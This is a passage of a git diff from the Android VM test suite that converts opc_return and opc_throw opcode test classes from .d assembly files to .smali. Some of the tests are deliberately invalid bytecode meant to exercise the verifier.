+.source "T_opc_return_5.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 6
+    
+    const v0, 1
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.d
deleted file mode 100644
index c19f760..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_return_6.java
-.class public dot.junit.opcodes.opc_return.d.T_opc_return_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 6
-    
-    const v0, 1
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.smali
new file mode 100644
index 0000000..c87f117
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_6.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 6
+    
+    const v0, 1
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.d
deleted file mode 100644
index cec1f9c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_return_7.java
-.class public dot.junit.opcodes.opc_return.d.T_opc_return_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-    
-    return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.smali
new file mode 100644
index 0000000..98e6b28
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_7.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.d
deleted file mode 100644
index 1ca6832..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_return_8.java
-.class public dot.junit.opcodes.opc_return.d.T_opc_return_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-    
-    const-wide v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.smali
new file mode 100644
index 0000000..1b784bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_8.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    const-wide v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.d
deleted file mode 100644
index 90a4a03..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_1.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       new-instance v1, java/lang/RuntimeException
-       invoke-direct {v1}, java/lang/RuntimeException/<init>()V
-       throw v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.smali
new file mode 100644
index 0000000..6e3fddf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_1.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       new-instance v1, Ljava/lang/RuntimeException;
+       invoke-direct {v1}, Ljava/lang/RuntimeException;-><init>()V
+       throw v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.d
deleted file mode 100644
index c3194bb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_10.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-       new-instance v1, java/lang/String
-       invoke-direct {v1}, java/lang/String/<init>()V
-       throw v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.smali
new file mode 100644
index 0000000..5cc6c79
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_10.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+       new-instance v1, Ljava/lang/String;
+       invoke-direct {v1}, Ljava/lang/String;-><init>()V
+       throw v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_12.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_12.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_12.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_12.smali
new file mode 100644
index 0000000..d92dfa1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_12.smali
@@ -0,0 +1,65 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_12;
+.super Ljava/lang/Object;
+.source "T_opc_throw_12.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private test()Z
+    .registers 2
+
+    :try_start_0
+    new-instance v0, Ljava/lang/RuntimeException;
+
+    invoke-direct {v0}, Ljava/lang/RuntimeException;-><init>()V
+
+    throw v0
+    :try_end_6
+    .catch Ljava/lang/RuntimeException; {:try_start_0 .. :try_end_6} :catch_6
+
+    :catch_6
+    const p0, 0x1
+
+    return p0
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 2
+
+    :try_start_0
+    invoke-direct {p0}, Ldot/junit/opcodes/opc_throw/d/T_opc_throw_12;->test()Z
+
+    move-result v0
+
+    return v0
+    :try_end_5
+    .catch Ljava/lang/RuntimeException; {:try_start_0 .. :try_end_5} :catch_5
+
+    :catch_5
+    const v0, 0x0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.d
deleted file mode 100644
index 95c3657..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_2.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-      return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       new-instance v1, java/lang/Throwable
-       invoke-direct {v1}, java/lang/Throwable/<init>()V
-       throw v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.smali
new file mode 100644
index 0000000..6e36cbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_2.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+      return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       new-instance v1, Ljava/lang/Throwable;
+       invoke-direct {v1}, Ljava/lang/Throwable;-><init>()V
+       throw v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.d
deleted file mode 100644
index 7ef732a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_3.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       const-wide v1, 314
-       throw v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.smali
new file mode 100644
index 0000000..73f05ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_3.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       const-wide v1, 314
+       throw v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.d
deleted file mode 100644
index ab5d803..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_4.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/4 v1, 0
-       throw v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.smali
new file mode 100644
index 0000000..37e27d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_4.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/4 v1, 0
+       throw v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_5.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_5.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_5.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_5.smali
new file mode 100644
index 0000000..e1dd325
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_5.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_5;
+.super Ljava/lang/Object;
+.source "T_opc_throw_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public declared-synchronized run()V
+    .registers 6
+
+    new-instance v2, Ljava/lang/Object;
+
+    invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+
+    monitor-enter v2
+
+    monitor-exit p0
+
+    new-instance v1, Ljava/lang/NullPointerException;
+
+    invoke-direct {v1}, Ljava/lang/NullPointerException;-><init>()V
+
+    throw v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.d
deleted file mode 100644
index 51ca304..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_6.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       new-instance v1, java/lang/RuntimeException
-       invoke-direct {v1}, java/lang/RuntimeException/<init>()V
-       throw v5
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.smali
new file mode 100644
index 0000000..b6d147a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_6.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       new-instance v1, Ljava/lang/RuntimeException;
+       invoke-direct {v1}, Ljava/lang/RuntimeException;-><init>()V
+       throw v5
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_7.smali
new file mode 100644
index 0000000..608480b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_7;
+.super Ljava/lang/Object;
+.source "T_opc_throw_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 5
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    throw v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.d
deleted file mode 100644
index 8b91411..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_8.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       new-instance v1, java/lang/Error
-       invoke-direct {v1}, java/lang/Error/<init>()V
-       throw v1
-.end method
-
-
